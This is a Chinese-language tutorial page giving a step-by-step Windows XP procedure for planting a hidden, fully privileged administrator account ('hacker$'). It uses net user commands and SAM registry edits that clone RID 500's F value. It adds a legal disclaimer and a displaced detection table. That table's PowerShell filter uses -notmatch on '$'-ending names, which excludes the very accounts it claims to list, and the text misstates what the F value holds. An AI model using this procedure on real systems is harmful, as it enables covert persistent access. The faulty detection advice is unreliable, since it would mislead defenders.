Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

Windows XP 建立隱藏超級管理員帳戶:SAM 登錄權限操作實戰

編輯:Windows XP 系統介紹

利用 regedt32.exe 權限編輯功能,修改 HKLM\SAM\SAM 權限,複製內建 Administrator (RID 500) 的關鍵鍵值至新帳戶,再刪除新帳戶並匯入修改後登錄,建立隱藏且擁有完整權限的超級管理員。僅供安全研究/授權滲透測試使用,嚴禁非法入侵。

核心原理

  • 帳戶資訊儲存於 HKLM\SAM\SAM\Domains\Account\Users\Names 及對應 RID 子鍵。
  • RID 500 (Administrator) 的 F 鍵值包含密碼雜湊、權限標誌等關鍵資料。
  • 系統以 SID(而非帳戶名)識別使用者,重裝系統 SID 重新生成,舊帳戶 SID 失效。

操作流程(極高風險,務必先備份 SAM Hive)

  1. 以 Administrator 登入,命令列建立臨時帳戶:net user hacker$ 1234 /add。
  2. 執行 regedt32.exe,定位 HKLM\SAM\SAM → 右鍵「權限」→ 添加目前帳戶 → 「完全控制」。
  3. 執行 regedit.exe,匯出三鍵:hacker$ (Names)、00000409 (RID 1033)、000001F4 (RID 500)。
  4. 記事本編輯:將 RID 500 的 F 值複製覆蓋 RID 1033 的 F 值,合併存檔。
  5. 刪除臨時帳戶:net user hacker$ /del。
  6. regedit 重新整理 (F5),匯入修改後的 hacker$.reg。
  7. regedt32 恢復 HKLM\SAM\SAM 權限(移除剛添加的帳戶)。

結果驗證

  • 「使用者帳戶」控制台、net user、lusrmgr.msc 均看不見 hacker$。
  • 登入畫面輸入 hacker$ / 密碼 1234 可正常登入,擁有完整管理員權限。
  • 嘗試修改密碼(net user hacker$ newpass)會導致帳戶顯現且無法再隱藏。

偵測與防禦

法律與道德聲明

建立隱藏帳戶屬於權限維持技術,僅限授權滲透測試、紅隊演練、學術研究使用。未經授權植入他人系統構成《刑法》違反電腦使用罪、《資通安全管理法》未經授權存取罪,最高可處 5 年有期徒刑。請嚴格遵守法律與職業道德。

Copyright © Windows教程網 All Rights Reserved
偵測手段原理
查詢 SAM 中 RID 500 以外的 F 值與 500 相同比對關鍵鍵值異常一致
安全稽核事件 ID 4720/4722/4738帳戶建立/啟用/變更記錄(需啟用稽核)
PowerShell: Get-LocalUser | Where-Object {$_.Name -notmatch '^.*\$$'}列舉本地帳戶,隱藏帳戶通常以 $ 結尾
離線掛載 SAM Hive 比對PE/離線環境下載入 SAM 對比基準值